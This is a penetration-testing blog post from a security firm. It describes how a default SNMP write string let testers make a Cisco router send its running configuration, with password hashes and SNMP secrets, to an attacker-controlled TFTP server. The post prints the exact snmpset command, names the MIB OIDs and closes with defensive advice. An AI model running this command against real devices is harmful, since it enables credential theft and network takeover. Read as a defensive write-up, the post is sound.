No Exploits Needed: Using Cisco’s Own Features to Extract Credentials
During a routine internal penetration test, we used nothing more than default settings and built-in router functionality to extract the running configuration from a Cisco device—no credentials required. The result? Access to password hashes, SNMP secrets, and infrastructure details that could enable full network compromise. This isn’t a story about zero-days—it’s a warning about what happens when you overlook what’s already baked into your infrastructure.
The Setup: A Virtual Machine and a Forgotten Default
Our internal penetration tests often begin the same way: we provide the client with a virtual machine to deploy on their network, simulating what an attacker could do if they physically connected to an open port in a conference room. Once deployed, the VM connects back to our infrastructure, allowing our team to pivot into their environment and assess real-world vulnerabilities.
In this case, a financial institution gave us scoped access to internal IP ranges. Within the first few hours, we discovered SNMP write access to one of their Cisco routers—using nothing more than the default community string: private.
No credentials. No privilege escalation. Just one default setting that opened the door.
This Overlooked Feature Let Us Capture the Network’s Blueprint
Once we confirmed that we had SNMP write access, we knew the next move: instruct the Cisco router to send us its running configuration via TFTP.
Normally, we’d use Cisco’s Smart Install feature for this—but in this case, we realized we didn’t need it. SNMP alone was enough. We set parameters for the destination server, filename, and transfer trigger—all through SNMP.
Here’s the actual one-liner we used, via the snmpset tool on Linux:
nginx
CopyEdit
snmpset -v 2c -c private 10.1.1.1 \
.1.3.6.1.4.1.9.9.96.1.1.1.1.2.1 s “running-config-backup.cfg” \
.1.3.6.1.4.1.9.9.96.1.1.1.1.3.1 i 3 \
.1.3.6.1.4.1.9.9.96.1.1.1.1.4.1 i 1 \
.1.3.6.1.4.1.9.9.96.1.1.1.1.5.1 a 10.2.2.2 \
.1.3.6.1.4.1.9.9.96.1.1.1.1.6.1 s “running-config-backup.cfg” \
.1.3.6.1.4.1.9.9.96.1.1.1.1.14.1 i 4
What This Does:
- Sets the file name, transfer mode, and attacker-controlled TFTP server (10.2.2.2).
- Then triggers the router (10.1.1.1) to send us its active configuration file—no credentials required, just SNMP write access.
This isn’t exploiting some obscure bug. It’s leveraging intended behavior built into many Cisco routers. But if that functionality is exposed to your internal network—and it’s paired with a default community string — you’re basically offering attackers the keys to the kingdom.
The process was simple, fast, and silent. It didn’t trip alarms. And it gave us everything we needed to deepen our access.
The Credential Goldmine
The config included hashed passwords, SNMP strings, and secrets from management tools. While we weren’t able to crack the password within the limited test window, we knew that a determined adversary with time on their hands could absolutely do it.
And here’s the kicker: many organizations reuse these device passwords across all their Cisco gear. Often, that same credential works on every router and switch—sometimes even on administrative domain accounts.
Once we see the structure or style of a password hash, we can start making inferences about the organization’s credential hygiene. Is it a default? A formula? Randomly generated? These clues tell us a lot about the rest of the environment.
The Secret Sauce: Elite Password Cracking
At LMG Security, password cracking is one of our specialties—and much of that is thanks to Emily Gosney, our in-house password expert. Before joining us, she built password-cracking rigs for Fortune 500 companies. Her team has dominated the DEF CON cracking competition for over a decade.
Since she joined us, we’ve tripled or even quadrupled our cracking throughput using the same hardware. During internal tests, we now routinely crack 70–80% of domain passwords in just a couple hours.
In this case, we fed the Cisco password hash into one of our GPU-based cracking rigs, which uses Hashcat to perform billions of guesses per second. Although we ran out of time before cracking it, we’re confident that with more hours—or a real adversary’s persistence—we’d have succeeded.
Why This Happens: Oversights, Not Exploits
This wasn’t a zero-day or a cutting-edge exploit. It was a forgotten default. A “low severity” issue in many vulnerability scanners. And it had the potential to compromise the entire network.
Too often, SNMP community strings are left in their default state—public for read access, private for write. While most systems disable write access, many don’t. And even fewer organizations monitor SNMP write attempts from internal networks.
In our experience, SNMP write access on network infrastructure is often unintentional. It was likely enabled years ago for testing or temporary monitoring and never turned off. The problem isn’t just that it’s on—it’s that nobody knows it’s on.
What You Can Do: Real-World Defense Strategies
- Eliminate Defaults
Treat SNMP community strings like credentials—change them, use strong randomized values, and rotate them regularly. - Audit Network Device Settings
Scan for all SNMP-enabled devices. You can do this as part of routine vulnerability scanning, using tools such as Tenable One, which LMG offers. - Segment Administrative Interfaces
Ensure that management interfaces—especially for routers, switches, and firewalls—are only accessible from secure admin networks. - Restrict Legacy Protocols Like TFTP
Block insecure protocols unless absolutely required. Tightly control which hosts can send or receive transfers. - Validate Scanner Results Against Real-World Risk
Don’t just rely on severity scores. Consider what a determined attacker could actually do with that “low” finding. - Use Penetration Testing to Validate
Real-world testing reveals how attackers chain minor flaws into full compromise.
We Didn’t Just Find It—We Could Have Taken Over
Had this been a real-world breach, that one SNMP string might have given an attacker the ability to:
- Extract credentials
- Crack admin passwords
- Control network devices
- Intercept or reroute network traffic
- Possibly compromise the domain controller
We didn’t go that far—because our job is to test, not disrupt. But we could have.
How LMG Security Can Help
At LMG Security, we help organizations understand the attacker’s mindset. From custom penetration tests to password audits and infrastructure reviews, we uncover the cracks before someone else does.
We’re not here to scare you. We’re here to test what matters—so you can fix what matters.
Want to know if your routers are silently exposing your credentials?
Let us take a look. Contact us for a penetration test that goes beyond the surface.